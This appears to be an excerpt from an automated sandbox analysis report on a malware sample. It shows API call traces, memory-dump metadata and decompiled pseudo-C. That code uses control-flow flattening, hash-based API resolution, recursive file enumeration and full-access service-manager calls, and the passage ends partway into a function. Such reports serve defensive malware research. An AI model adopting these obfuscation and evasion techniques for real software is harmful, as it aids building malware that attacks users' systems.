NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00000018,00401010), ref: 007A0463
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 007A0484
HeapFree.KERNEL32(00000000,00000001,00000000), ref: 007A048D
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 007A0492
RtlAllocateHeap.NTDLL(00000000,00000001,00401010), ref: 007A049F
GetCurrentProcess.KERNEL32(?,00401010,00000000,?), ref: 007A04A6
NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00401010,00401010), ref: 007A04B9
RtlMoveMemory.NTDLL(00000000,00000000,00000018), ref: 007A04E0
RtlMoveMemory.NTDLL(00000000,?,00000014), ref: 007A04F7
RtlMoveMemory.NTDLL(?,00000000,00000014), ref: 007A0519
RtlMoveMemory.NTDLL(00000000,00000000,00000024), ref: 007A0530
RtlMoveMemory.NTDLL(00000000,?,00000048), ref: 007A0547
RtlMoveMemory.NTDLL(00000000,00000000,00000048), ref: 007A0562

Memory Dump Source

Source File: 0000000A.00000002.2271261884.00000000007A0000.00000040.00000001.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7a0000_SampleRes.jbxd

Similarity

API ID: MemoryMoveProcess$Heap$CurrentInformationQuery$AllocateFreelstrcpyn
String ID:
API String ID: 482429597-0
Opcode ID: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction ID: 88f6737cad15f5a45197b868b08b1cc299ddfa21b30f049ab1b4e477a4293bb5
Opcode Fuzzy Hash: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction Fuzzy Hash: 534150B5904344AEE710EB61C84AF6FB3EDABCA740F808E1CB74497241D67CD9048BA2

Uniqueness

Uniqueness Score: -1.00%

Function 007B38F0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E007B38F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				signed int _t34;
				void* _t39;
				intOrPtr* _t42;
				signed int _t46;
				intOrPtr* _t50;
				intOrPtr _t55;
				void* _t56;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t98;

				_t91 = __ecx;
				_t95 = __edx;
				_v1640 = __ecx;
				_t22 = 0x25a25425;
				_t56 = _v1640;
				while(1) {
					L1:
					_t98 = _t22 - 0x25a25425;
					if(_t98 > 0) {
						break;
					}
					if(_t98 == 0) {
						_t22 = 0x29bc40d3;
						continue;
					} else {
						if(_t22 == 0x8a099c9) {
							if( *0x7be430 == 0) {
								 *0x7be430 = E007B3E60(_t56, E007B3F00(0x9bab0b12), 0x83efb111, _t95);
							}
							_t39 = FindFirstFileW( &_v524,  &_v1636); // executed
							_t56 = _t39;
							if(_t56 == 0xffffffff) {
								return _t39;
							} else {
								_t22 = 0x1a4f9837;
								continue;
							}
						} else {
							if(_t22 == 0xb46fa16) {
								_t42 =  *0x7bdba4;
								if(_t42 == 0) {
									_t42 = E007B3E60(_t56, E007B3F00(0x9bab0b12), 0xd274268a, _t95);
									 *0x7bdba4 = _t42;
								}
								return  *_t42(_t56);
							}
							if(_t22 != 0x1a4f9837) {
								L27:
								if(_t22 != 0x55fa1f4) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t46 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t46 & 0x2b8487c8) + 0xb46fa16;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t95 == 0) {
											goto L11;
										} else {
											_t94 = E007B34C0(0x7bd290);
											_t50 =  *0x7be158;
											if(_t50 == 0) {
												_t50 = E007B3E60(_t56, E007B3F00(0xc6fbcd74), 0xba71dd03, _t95);
												 *0x7be158 = _t50;
											}
											 *_t50( &_v1044, 0x104, _t94, _t91,  &(_v1636.cFileName));
											E007B38F0( &_v1044, _t95, _a4, _a8);
											_t96 = _t96 + 0x1c;
											E007B3460(_t94);
											_t22 = 0x36cb81de;
										}
									} else {
										_t55 = _v1590;
										if(_t55 == 0 || _t55 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x36cb81de;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x29bc40d3) {
					_t93 = E007B34C0(0x7bd260);
					_t24 =  *0x7be158;
					if(_t24 == 0) {
						_t24 = E007B3E60(_t56, E007B3F00(0xc6fbcd74), 0xba71dd03, _t95);
						 *0x7be158 = _t24;
					}
					 *_t24( &_v524, 0x104, _t93, _t91);
					_t26 =  *0x7be494;
					_t96 = _t96 + 0x10;
					if(_t26 == 0) {
						_t26 = E007B3E60(_t56, E007B3F00(0x9bab0b12), 0x7facde30, _t95);
						 *0x7be494 = _t26;
					}
					_t92 =  *_t26();
					_t28 =  *0x7bdf30;
					if(_t28 == 0) {
						_t28 = E007B3E60(_t56, E007B3F00(0x9bab0b12), 0x5010a54d, _t95);
						 *0x7bdf30 = _t28;
					}
					 *_t28(_t92, 0, _t93);
					_t91 = _v1652;
					_t22 = 0x8a099c9;
					goto L1;
				} else {
					if(_t22 != 0x36cb81de) {
						goto L27;
					} else {
						_t33 =  *0x7bdf88;
						if(_t33 == 0) {
							_t33 = E007B3E60(_t56, E007B3F00(0x9bab0b12), 0xa53a5b1a, _t95);
							 *0x7bdf88 = _t33;
						}
						_t34 =  *_t33(_t56,  &_v1636);
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0x0f089e21) + 0xb46fa16;
						goto L1;
					}
				}
				goto L40;
			}

0x007b38fa
0x007b38fc
0x007b38fe
0x007b3902
0x007b3907
0x007b3910
0x007b3910
0x007b3910
0x007b3915
0x00000000
0x00000000
0x007b391b
0x007b3a5f
0x00000000
0x007b3921
0x007b3926
0x007b3a1e
0x007b3a36
0x007b3a36
0x007b3a48
0x007b3a4a
0x007b3a4f
0x007b3ba1
0x007b3a55
0x007b3a55
0x00000000
0x007b3a55
0x007b392c
0x007b3931
0x007b3b70
0x007b3b77
0x007b3b8a
0x007b3b8f
0x007b3b8f
0x00000000
0x007b3b95
0x007b393c
0x007b3ab6
0x007b3abb
0x00000000
0x007b3acb
0x007b3acb
0x007b3acb
0x007b3942
0x007b3947
0x007b39fd
0x007b3a06
0x007b3a0d
0x007b394d
0x007b3953
0x007b3974
0x007b3976
0x00000000
0x007b3978
0x007b3982
0x007b3984
0x007b398b
0x007b399e
0x007b39a3
0x007b39a3
0x007b39bc
0x007b39d8
0x007b39dd
0x007b39e2
0x007b39e7
0x007b39e7
0x007b3955
0x007b3955
0x007b395d
0x007b396d
0x007b396d
0x00000000
0x00000000
0x00000000
0x007b395d
0x007b3953
0x00000000
0x007b3947
0x007b393c
0x007b3926
0x00000000
0x007b391b
0x007b3a6e
0x007b3ad6
0x007b3ad8
0x007b3adf
0x007b3af2
0x007b3af7
0x007b3af7
0x007b3b0b
0x007b3b0d
0x007b3b12
0x007b3b17
0x007b3b2a
0x007b3b2f
0x007b3b2f
0x007b3b36
0x007b3b38
0x007b3b3f
0x007b3b52
0x007b3b57
0x007b3b57
0x007b3b60
0x007b3b62
0x007b3b66
0x00000000
0x007b3a70
0x007b3a75
0x00000000
0x007b3a77
0x007b3a77
0x007b3a7e
0x007b3a91
0x007b3a96
0x007b3a96
0x007b3aa1
0x007b3aa5
0x007b3aac
0x00000000
0x007b3aac
0x007b3a75
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 007B3A48

Strings

., xrefs: 007B394D

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .
API String ID: 1974802433-248832578
Opcode ID: b63dfc33cbecd740eaa3845ef23a36dab0d5820eccf3346a2396985d51ca35ff
Instruction ID: 5f278573a470601afb986dd7ad5618c33e26e5e1d5e7e05a4c86cd28073ca6fb
Opcode Fuzzy Hash: b63dfc33cbecd740eaa3845ef23a36dab0d5820eccf3346a2396985d51ca35ff
Instruction Fuzzy Hash: 375125707042418BCB34EB689899BFB36A69BD0704F104A2AF556C7391EE7DDFC58392

Uniqueness

Uniqueness Score: -1.00%

Function 007B5040, Relevance: 1.7, APIs: 1, Instructions: 248
memoryCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E007B5040(intOrPtr __ecx, intOrPtr __edx) {
				char _v4;
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				void* _v36;
				intOrPtr _v44;
				signed int _v52;
				void* _v68;
				void* __ebx;
				void* __ebp;
				void* _t16;
				void* _t17;
				void* _t23;
				void* _t26;
				void* _t29;
				void* _t31;
				void* _t35;
				void* _t37;
				void* _t41;
				void* _t42;
				void* _t45;
				void* _t50;
				void* _t51;
				void* _t52;
				signed int _t53;
				void* _t58;
				intOrPtr* _t101;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t115;
				void* _t116;

				_t101 = _v12;
				_t58 = 0;
				_v16 = __edx;
				_t112 = 0;
				_v20 = __ecx;
				_t104 = 0x1ca940c1;
				while(1) {
					_t16 = _v28;
					while(1) {
						L2:
						_t115 = _t104 - 0x12f72f95;
						if(_t115 <= 0) {
							break;
						}
						__eflags = _t104 - 0x26342ffd;
						if(__eflags > 0) {
							__eflags = _t104 - 0x2fab56c4;
							if(_t104 != 0x2fab56c4) {
								goto L40;
							} else {
								_t17 =  *0x7be494;
								__eflags = _t17;
								if(_t17 == 0) {
									_t17 = E007B3E60(_t58, E007B3F00(0x9bab0b12), 0x7facde30, _t112);
									 *0x7be494 = _t17;
								}
								_t105 =  *_t17();
								__eflags =  *0x7bdd18;
								if( *0x7bdd18 == 0) {
									 *0x7bdd18 = E007B3E60(_t58, E007B3F00(0x9bab0b12), 0x9ff0609c, _t112);
								}
								_t16 = RtlAllocateHeap(_t105, 8, 0x20000); // executed
								_t58 = _t16;
								__eflags = _t58;
								if(_t58 != 0) {
									_t104 = 0x8956eec;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						} else {
							if(__eflags == 0) {
								_t23 =  *0x7be484;
								__eflags = _t23;
								if(_t23 == 0) {
									_t23 = E007B3E60(_t58, E007B3F00(0x26f5757c), 0x9e91db81, _t112);
									 *0x7be484 = _t23;
								}
								 *_t23(_v24, 1, _t112, 0x2000,  &_v4);
								asm("sbb esi, esi");
								_t26 =  *0x7be18c;
								_t104 = (_t104 & 0x0b23632b) + 0x5d498c4;
								__eflags = _t26;
								if(_t26 == 0) {
									_t26 = E007B3E60(_t58, E007B3F00(0x26f5757c), 0x268fe5f0, _t112);
									 *0x7be18c = _t26;
								}
								_t16 =  *_t26(_v44);
								goto L40;
							} else {
								__eflags = _t104 - 0x1ca940c1;
								if(_t104 == 0x1ca940c1) {
									_t104 = 0x2fab56c4;
									continue;
								} else {
									__eflags = _t104 - 0x254bd927;
									if(_t104 != 0x254bd927) {
										L40:
										__eflags = _t104 - 0x1f0f293e;
										if(_t104 != 0x1f0f293e) {
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										}
									} else {
										_t50 =  *0x7be29c;
										__eflags = _t50;
										if(_t50 == 0) {
											_t50 = E007B3E60(_t58, E007B3F00(0x26f5757c), 0x4574c66, _t112);
											 *0x7be29c = _t50;
										}
										_t51 =  *_t50(_v20, 0, 0x30, 3, _t58, 0x20000,  &_v8,  &_v12, 0, 0);
										__eflags = _t51;
										if(_t51 == 0) {
											L13:
											_t104 = 0x11e09e52;
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										} else {
											_t52 =  *0x7bde08;
											__eflags = _t52;
											if(_t52 == 0) {
												_t52 = E007B3E60(_t58, E007B3F00(0x9bab0b12), 0xd8ef4c49, _t112);
												 *0x7bde08 = _t52;
											}
											_t53 =  *_t52();
											_t104 = 0x128dff18;
											_t103 = _t58 + (_t53 & 0x0000001f) * 0x2c;
											_t16 = _t58 + _v52 * 0x2c;
											__eflags = _t103 - _t16;
											_v68 = _t16;
											_t101 =  >=  ? _t58 : _t103;
											continue;
										}
										L55:
									}
								}
							}
						}
						L54:
						return _t16;
						goto L55;
					}
					if(_t115 == 0) {
						_t29 =  *0x7be494;
						__eflags = _t29;
						if(_t29 == 0) {
							_t29 = E007B3E60(_t58, E007B3F00(0x9bab0b12), 0x7facde30, _t112);
							 *0x7be494 = _t29;
						}
						_t107 =  *_t29();
						_t31 =  *0x7bdf30;
						__eflags = _t31;
						if(_t31 == 0) {
							_t31 = E007B3E60(_t58, E007B3F00(0x9bab0b12), 0x5010a54d, _t112);
							 *0x7bdf30 = _t31;
						}
						return  *_t31(_t107, 0, _t58);
					}
					_t116 = _t104 - 0x10f7fbef;
					if(_t116 > 0) {
						__eflags = _t104 - 0x11e09e52;
						if(_t104 == 0x11e09e52) {
							_t35 =  *0x7be494;
							__eflags = _t35;
							if(_t35 == 0) {
								_t35 = E007B3E60(_t58, E007B3F00(0x9bab0b12), 0x7facde30, _t112);
								 *0x7be494 = _t35;
							}
							_t108 =  *_t35();
							_t37 =  *0x7bdf30;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E007B3E60(_t58, E007B3F00(0x9bab0b12), 0x5010a54d, _t112);
								 *0x7bdf30 = _t37;
							}
							 *_t37(_t108, 0, _t112);
							_t104 = 0x12f72f95;
							continue;
						} else {
							__eflags = _t104 - 0x128dff18;
							if(_t104 != 0x128dff18) {
								goto L40;
							} else {
								_t41 =  *0x7be270;
								__eflags = _t41;
								if(_t41 == 0) {
									_t41 = E007B3E60(_t58, E007B3F00(0x26f5757c), 0x56e230f9, _t112);
									 *0x7be270 = _t41;
								}
								_t42 =  *_t41(_v20,  *_t101, 1);
								__eflags = _t42;
								_v36 = _t42;
								_t104 =  !=  ? 0x26342ffd : 0x5d498c4;
								while(1) {
									_t16 = _v28;
									goto L2;
								}
							}
						}
					} else {
						if(_t116 == 0) {
							_t45 =  *0x7be200;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E007B3E60(_t58, E007B3F00(0x26f5757c), 0x16d40839, _t112);
								 *0x7be200 = _t45;
							}
							 *_t45(_v16, 1, _t112);
							goto L13;
						} else {
							if(_t104 == 0x5d498c4) {
								_t101 = _t101 + 0x2c;
								__eflags = _t101 - _t16;
								asm("sbb esi, esi");
								_t104 = (_t104 & 0x00ad60c6) + 0x11e09e52;
								goto L2;
							} else {
								if(_t104 != 0x8956eec) {
									goto L40;
								} else {
									_t112 = E007B42C0(_t58, 0x2000);
									_t104 =  !=  ? 0x254bd927 : 0x12f72f95;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						}
					}
					goto L54;
				}
			}

0x007b5047
0x007b504b
0x007b504d
0x007b5051
0x007b5053
0x007b5057
0x007b505c
0x007b505c
0x007b5060
0x007b5060
0x007b5060
0x007b5066
0x00000000
0x00000000
0x007b51af
0x007b51b5
0x007b52f9
0x007b52ff
0x00000000
0x007b5301
0x007b5301
0x007b5306
0x007b5308
0x007b531b
0x007b5320
0x007b5320
0x007b5327
0x007b532e
0x007b5330
0x007b5348
0x007b5348
0x007b5355
0x007b5357
0x007b5359
0x007b535b
0x007b535d
0x007b505c
0x007b505c
0x00000000
0x007b505c
0x007b505c
0x007b535b
0x007b51bb
0x007b51bb
0x007b5277
0x007b527c
0x007b527e
0x007b5291
0x007b5296
0x007b5296
0x007b52ac
0x007b52b0
0x007b52b2
0x007b52bd
0x007b52c3
0x007b52c5
0x007b52d8
0x007b52dd
0x007b52dd
0x007b52e6
0x00000000
0x007b51c1
0x007b51c1
0x007b51c7
0x007b526d
0x00000000
0x007b51cd
0x007b51cd
0x007b51d3
0x007b52e8
0x007b52e8
0x007b52ee
0x007b505c
0x007b505c
0x00000000
0x007b505c
0x007b505c
0x007b51d9
0x007b51d9
0x007b51de
0x007b51e0
0x007b51f3
0x007b51f8
0x007b51f8
0x007b521b
0x007b521d
0x007b521f
0x007b50ef
0x007b50ef
0x007b505c
0x007b505c
0x00000000
0x007b505c
0x007b5225
0x007b5225
0x007b522a
0x007b522c
0x007b523f
0x007b5244
0x007b5244
0x007b5249
0x007b524e
0x007b525b
0x007b525d
0x007b525f
0x007b5261
0x007b5265
0x00000000
0x007b5265
0x00000000
0x007b521f
0x007b51d3
0x007b51c7
0x007b51bb
0x007b53c0
0x007b53c0
0x00000000
0x007b53c0
0x007b506c
0x007b5367
0x007b536c
0x007b536e
0x007b5381
0x007b5386
0x007b5386
0x007b538d
0x007b538f
0x007b5394
0x007b5396
0x007b53a9
0x007b53ae
0x007b53ae
0x00000000
0x007b53b7
0x007b5072
0x007b5078
0x007b50f9
0x007b50ff
0x007b5153
0x007b5158
0x007b515a
0x007b516d
0x007b5172
0x007b5172
0x007b5179
0x007b517b
0x007b5180
0x007b5182
0x007b5195
0x007b519a
0x007b519a
0x007b51a3
0x007b51a5
0x00000000
0x007b5101
0x007b5101
0x007b5107
0x00000000
0x007b510d
0x007b510d
0x007b5112
0x007b5114
0x007b5127
0x007b512c
0x007b512c
0x007b5139
0x007b513b
0x007b513d
0x007b514b
0x007b505c
0x007b505c
0x00000000
0x007b505c
0x007b505c
0x007b5107
0x007b507a
0x007b507a
0x007b50c2
0x007b50c7
0x007b50c9
0x007b50dc
0x007b50e1
0x007b50e1
0x007b50ed
0x00000000
0x007b507c
0x007b5082
0x007b50ad
0x007b50b0
0x007b50b2
0x007b50ba
0x00000000
0x007b5084
0x007b508a
0x00000000
0x007b5090
0x007b509a
0x007b50a8
0x007b505c
0x007b505c
0x00000000
0x007b505c
0x007b505c
0x007b508a
0x007b5082
0x007b507a
0x00000000
0x007b5078

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00020000,?,?,007B8AC8,?,3251FEFE,?,?), ref: 007B5355

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 598d17c8ce5e32aad2545cd1cc6e041858eb04a2e273cf572102bdc7b1e06a01
Instruction ID: 9a417a9a93b5b5597251702d96158d4c94f77f3e9bb287fa144e1a90c120d6ad
Opcode Fuzzy Hash: 598d17c8ce5e32aad2545cd1cc6e041858eb04a2e273cf572102bdc7b1e06a01
Instruction Fuzzy Hash: E181F431B047158BDB24AF7C9C99BEA36DAAB90744F01452AF851DB391EA3CDD404BC5

Uniqueness

Uniqueness Score: -1.00%

Function 007B9860, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 195
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E007B9860() {
				char _v524;
				unsigned int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t62;
				void* _t64;
				void* _t69;
				void* _t72;
				void* _t92;
				void* _t93;
				intOrPtr _t94;
				void* _t97;
				void* _t98;

				_t64 = 0;
				_t28 = 0x29f9e503;
				_t92 = _v528;
				_t2 = _t64 + 1; // 0x1
				_t94 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t97 = _t28 - 0x13fee53b;
						if(_t97 > 0) {
							break;
						}
						if(_t97 == 0) {
							__eflags =  *0x7be310;
							if( *0x7be310 == 0) {
								 *0x7be310 = E007B3E60(_t64, E007B3F00(0x26f5757c), 0x9ba7cd1, _t94);
							}
							_t49 = OpenSCManagerW(0, 0, 0xf003f); // executed
							_t92 = _t49;
							__eflags = _t92;
							if(_t92 == 0) {
								_t28 = 0x23c48583;
							} else {
								_t50 =  *0x7be54c; // 0x54e0e0
								 *((intOrPtr*)(_t50 + 0x220)) = _t94;
								_t28 = 0xc471eb;
							}
							continue;
						} else {
							_t98 = _t28 - 0x9835f84;
							if(_t98 > 0) {
								__eflags = _t28 - 0xc0f0991;
								if(_t28 != 0xc0f0991) {
									goto L36;
								} else {
									_t69 =  *0x7bdbd8;
									__eflags = _t69;
									if(_t69 == 0) {
										_t69 = E007B3E60(_t64, E007B3F00(0xd9518805), 0x141622d6, _t94);
										 *0x7bdbd8 = _t69;
									}
									_t53 =  *0x7be54c; // 0x54e0e0
									_t56 =  *_t69(0, _v528, 0, 0, _t53 + 0x18); // executed
									__eflags = _t56;
									_t28 = 0x9835f84;
									_t64 =  ==  ? _t94 : _t64;
									continue;
								}
							} else {
								if(_t98 == 0) {
									E007B7C60(_t94);
									_t28 = 0x6addd5c;
									continue;
								} else {
									if(_t28 == 0xc471eb) {
										_v528 = 0xc1a3;
										_t28 = 0x179ed98e;
										_v528 = _v528 + 0xffff1ad7;
										_v528 = _v528 ^ 0xffffdc53;
										continue;
									} else {
										if(_t28 != 0x6addd5c) {
											goto L36;
										} else {
											_t60 =  *0x7be3f4;
											if(_t60 == 0) {
												_t60 = E007B3E60(_t64, E007B3F00(0x9bab0b12), 0x7dc9b9bb, _t94);
												 *0x7be3f4 = _t60;
											}
											 *_t60(0,  &_v524, 0x104);
											_t62 = E007B3D00( &_v536);
											_t72 =  *0x7be54c; // 0x54e0e0
											 *((intOrPtr*)(_t72 + 0x46c)) = _t62;
											_t28 = 0x39ea8110;
											continue;
										}
									}
								}
							}
						}
						L42:
					}
					__eflags = _t28 - 0x29f9e503;
					if(__eflags > 0) {
						__eflags = _t28 - 0x39ea8110;
						if(_t28 == 0x39ea8110) {
							_t29 =  *0x7bdbd8;
							__eflags = _t29;
							if(_t29 == 0) {
								_t29 = E007B3E60(_t64, E007B3F00(0xd9518805), 0x141622d6, _t94);
								 *0x7bdbd8 = _t29;
							}
							 *_t29(0, 0x25, 0, 0,  &_v524);
							_t31 =  *0x7be54c; // 0x54e0e0
							_t32 = _t31 + 0x234;
							__eflags = _t31 + 0x234;
							E007B3040(_t32);
							goto L41;
						} else {
							goto L36;
						}
					} else {
						if(__eflags == 0) {
							_t37 =  *0x7be494;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E007B3E60(_t64, E007B3F00(0x9bab0b12), 0x7facde30, _t94);
								 *0x7be494 = _t37;
							}
							_t93 =  *_t37();
							_t39 =  *0x7bdd18;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E007B3E60(_t64, E007B3F00(0x9bab0b12), 0x9ff0609c, _t94);
								 *0x7bdd18 = _t39;
							}
							_t40 =  *_t39(_t93, 8, 0x480);
							 *0x7be54c = _t40;
							__eflags = _t40;
							if(_t40 == 0) {
								L41:
								return _t64;
							} else {
								 *((intOrPtr*)(_t40 + 4)) = E007B7E40;
								_t28 = 0x13fee53b;
								goto L1;
							}
						} else {
							__eflags = _t28 - 0x179ed98e;
							if(_t28 == 0x179ed98e) {
								__eflags =  *0x7be18c;
								if( *0x7be18c == 0) {
									 *0x7be18c = E007B3E60(_t64, E007B3F00(0x26f5757c), 0x268fe5f0, _t94);
								}
								CloseServiceHandle(_t92); // executed
								_t28 = 0xc0f0991;
								goto L1;
							} else {
								__eflags = _t28 - 0x23c48583;
								if(_t28 != 0x23c48583) {
									goto L36;
								} else {
									_v528 = 0x5332;
									_v528 = _v528 << 6;
									_v528 = _v528 >> 0xf;
									_v528 = _v528 + 0xffffb18f;
									_v528 = _v528 >> 3;
									_v528 = _v528 ^ 0x1ffff62b;
									_t47 =  *0x7be54c; // 0x54e0e0
									 *((intOrPtr*)(_t47 + 8)) = 0x7b7e30;
									_t28 = 0xc0f0991;
									goto L1;
								}
							}
						}
					}
					goto L42;
					L36:
					__eflags = _t28 - 0x305b3459;
				} while (_t28 != 0x305b3459);
				return _t64;
				goto L42;
			}

0x007b9868
0x007b986a
0x007b9871
0x007b9875
0x007b9875
0x007b9878
0x007b9880
0x007b9880
0x007b9880
0x007b9880
0x007b9885
0x00000000
0x00000000
0x007b988b
0x007b9993
0x007b9995
0x007b99ad
0x007b99ad
0x007b99bb
0x007b99bd
0x007b99bf
0x007b99c1
0x007b99d8
0x007b99c3
0x007b99c3
0x007b99c8
0x007b99ce
0x007b99ce
0x00000000
0x007b9891
0x007b9891
0x007b9896
0x007b9936
0x007b993b
0x00000000
0x007b9941
0x007b9941
0x007b9947
0x007b9949
0x007b9961
0x007b9963
0x007b9963
0x007b9969
0x007b997d
0x007b997f
0x007b9981
0x007b9986
0x00000000
0x007b9986
0x007b989c
0x007b989c
0x007b9927
0x007b992c
0x00000000
0x007b98a2
0x007b98a7
0x007b9905
0x007b990d
0x007b9912
0x007b991a
0x00000000
0x007b98a9
0x007b98ae
0x00000000
0x007b98b4
0x007b98b4
0x007b98bb
0x007b98ce
0x007b98d3
0x007b98d3
0x007b98e4
0x007b98ea
0x007b98ef
0x007b98f5
0x007b98fb
0x00000000
0x007b98fb
0x007b98ae
0x007b98a7
0x007b989c
0x007b9896
0x00000000
0x007b988b
0x007b99e2
0x007b99e7
0x007b9ae3
0x007b9ae8
0x007b9b02
0x007b9b07
0x007b9b09
0x007b9b1c
0x007b9b21
0x007b9b21
0x007b9b33
0x007b9b35
0x007b9b3e
0x007b9b3e
0x007b9b44
0x00000000
0x00000000
0x00000000
0x00000000
0x007b99ed
0x007b99ed
0x007b9a73
0x007b9a78
0x007b9a7a
0x007b9a8d
0x007b9a92
0x007b9a92
0x007b9a99
0x007b9a9b
0x007b9aa0
0x007b9aa2
0x007b9ab5
0x007b9aba
0x007b9aba
0x007b9ac7
0x007b9ac9
0x007b9ace
0x007b9ad0
0x007b9b4f
0x007b9b58
0x007b9ad2
0x007b9ad2
0x007b9ad9
0x00000000
0x007b9ad9
0x007b99f3
0x007b99f3
0x007b99f8
0x007b9a47
0x007b9a49
0x007b9a61
0x007b9a61
0x007b9a67
0x007b9a69
0x00000000
0x007b99fa
0x007b99fa
0x007b99ff
0x00000000
0x007b9a05
0x007b9a05
0x007b9a0d
0x007b9a12
0x007b9a17
0x007b9a1f
0x007b9a24
0x007b9a2c
0x007b9a31
0x007b9a38
0x00000000
0x007b9a38
0x007b99ff
0x007b99f8
0x007b99ed
0x00000000
0x007b9aea
0x007b9aea
0x007b9aea
0x007b9b01
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,0054E0C8), ref: 007B997D
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 007B99BB
CloseServiceHandle.ADVAPI32(?,?,3251FEFE,?,?), ref: 007B9A67
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,?,3251FEFE,?,?), ref: 007B9B33

Strings

Y4[0, xrefs: 007B9AEA
T, xrefs: 007B98EF, 007B9969, 007B99C3, 007B9A2C, 007B9AC9, 007B9B35
2S, xrefs: 007B9A05

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseHandleManagerOpenService
String ID: 2S$Y4[0$T
API String ID: 2382770032-999769056
Opcode ID: 8803cdf2c72d0bcaf2fa83a528ffda3a95f6eafbbd65c4d79f1398e3ba7f7142
Instruction ID: 86f30c8585ef52f5537199d6ffb75d05915b0388794965e5e05e07202b4e44d8
Opcode Fuzzy Hash: 8803cdf2c72d0bcaf2fa83a528ffda3a95f6eafbbd65c4d79f1398e3ba7f7142
Instruction Fuzzy Hash: 3661F5307042058BEB28AF68AC99BFA7295DBD1704F10842DF315DB391EA3CDD45C796

Uniqueness

Uniqueness Score: -1.00%

Function 007B8400, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E007B8400(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t75;
				intOrPtr* _t82;
				intOrPtr* _t85;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
